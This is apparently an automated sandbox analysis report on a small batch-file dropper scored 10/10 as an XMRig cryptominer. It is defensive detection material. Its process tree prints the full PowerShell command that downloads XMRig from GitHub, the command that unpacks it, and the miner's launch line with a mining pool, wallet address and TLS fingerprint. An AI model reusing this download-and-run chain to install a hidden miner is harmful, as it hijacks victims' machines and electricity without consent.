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Analysis

  • max time kernel
    1790s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 01:27

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:208
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2224
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1608

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    94c31167fbd2ee12177e196291b79da1

    SHA1

    f4424c6c48738689bd152f33945dece228224da7

    SHA256

    81eea84461da3e9ecc64ff0f40a469d44af208fb49c4fa6a8dbda69d52da07ab

    SHA512

    8df65a612bbe38d599cf785a0ede9df7bf43cdc587cdb853ea4cb4696620ccc3d5fc826a2a4dc052ff0a033df4846c49cc6c260a3ba24b08040063ed38d8831f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    381KB

    MD5

    cf304c9a31fc5166a6cbc60ea0901d9b

    SHA1

    cdb41f4ee9e0f1c6b5ac1e3e8430f14022f71fe2

    SHA256

    925b0fd4834e404d2573539a9d56ef36f11f437958faad812d3862bf4a1b8686

    SHA512

    d79d8fc6a205a3f621127effe748f8d8927dc7b4c4ec23de3efe9b7d517a31dce6afbafa5670de65b8022f0a53ac17f8e52adc689491b1d34bb32e5d2721ccb5

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    92KB

    MD5

    bf81885c3e45ed8362740683d8f66042

    SHA1

    4990c4894c2fd9a7dc309afbd75488ff1339f08b

    SHA256

    c325c6366cc49c29a245ccc0bb034dc027ae507d1a9bc8acc42cf933f7c45b8d

    SHA512

    9aa1245a2d56179d47d4ee1f583012faa9ef012bfddb7d264a80dc8c2ea95e7a5db20d2fe12bf417151eeb918392ab859e78080e452e5dc4e4b2a672e2aceaa1

  • memory/208-7-0x0000018C82760000-0x0000018C82770000-memory.dmp

    Filesize

    64KB

  • memory/208-10-0x0000018C9AC10000-0x0000018C9AC86000-memory.dmp

    Filesize

    472KB

  • memory/208-6-0x0000018C82760000-0x0000018C82770000-memory.dmp

    Filesize

    64KB

  • memory/208-5-0x00007FFDAD9E0000-0x00007FFDAE3CC000-memory.dmp

    Filesize

    9.9MB

  • memory/208-25-0x0000018C82760000-0x0000018C82770000-memory.dmp

    Filesize

    64KB

  • memory/208-4-0x0000018C9AA60000-0x0000018C9AA82000-memory.dmp

    Filesize

    136KB

  • memory/208-26-0x00007FFDAD9E0000-0x00007FFDAE3CC000-memory.dmp

    Filesize

    9.9MB

  • memory/208-31-0x00007FFDAD9E0000-0x00007FFDAE3CC000-memory.dmp

    Filesize

    9.9MB

  • memory/1608-143-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-148-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-185-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-184-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-183-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-182-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-181-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-118-0x0000025896020000-0x0000025896040000-memory.dmp

    Filesize

    128KB

  • memory/1608-119-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-120-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-122-0x0000025896060000-0x0000025896080000-memory.dmp

    Filesize

    128KB

  • memory/1608-121-0x0000025896040000-0x0000025896060000-memory.dmp

    Filesize

    128KB

  • memory/1608-123-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-124-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-126-0x0000025896060000-0x0000025896080000-memory.dmp

    Filesize

    128KB

  • memory/1608-125-0x0000025896040000-0x0000025896060000-memory.dmp

    Filesize

    128KB

  • memory/1608-127-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-128-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-129-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-130-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-131-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-132-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-133-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-134-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-135-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-136-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-137-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-138-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-139-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-140-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-141-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-142-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-117-0x00000258945E0000-0x0000025894600000-memory.dmp

    Filesize

    128KB

  • memory/1608-144-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-145-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-146-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-147-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-180-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-149-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-150-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-151-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-152-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-153-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-154-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-155-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-156-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-157-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-158-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-159-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-160-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-161-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-162-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-163-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-164-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-165-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-166-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-167-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-168-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-169-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-170-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-171-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-172-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-173-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-174-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-175-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-176-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-177-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-178-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/1608-179-0x00007FF6295E0000-0x00007FF62A0E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2224-38-0x00000237EE040000-0x00000237EE050000-memory.dmp

    Filesize

    64KB

  • memory/2224-39-0x00000237EE040000-0x00000237EE050000-memory.dmp

    Filesize

    64KB

  • memory/2224-77-0x00000237EE740000-0x00000237EE752000-memory.dmp

    Filesize

    72KB

  • memory/2224-90-0x00000237EE720000-0x00000237EE72A000-memory.dmp

    Filesize

    40KB

  • memory/2224-63-0x00000237EE040000-0x00000237EE050000-memory.dmp

    Filesize

    64KB

  • memory/2224-37-0x00007FFDBED50000-0x00007FFDBF73C000-memory.dmp

    Filesize

    9.9MB

  • memory/2224-114-0x00007FFDBED50000-0x00007FFDBF73C000-memory.dmp

    Filesize

    9.9MB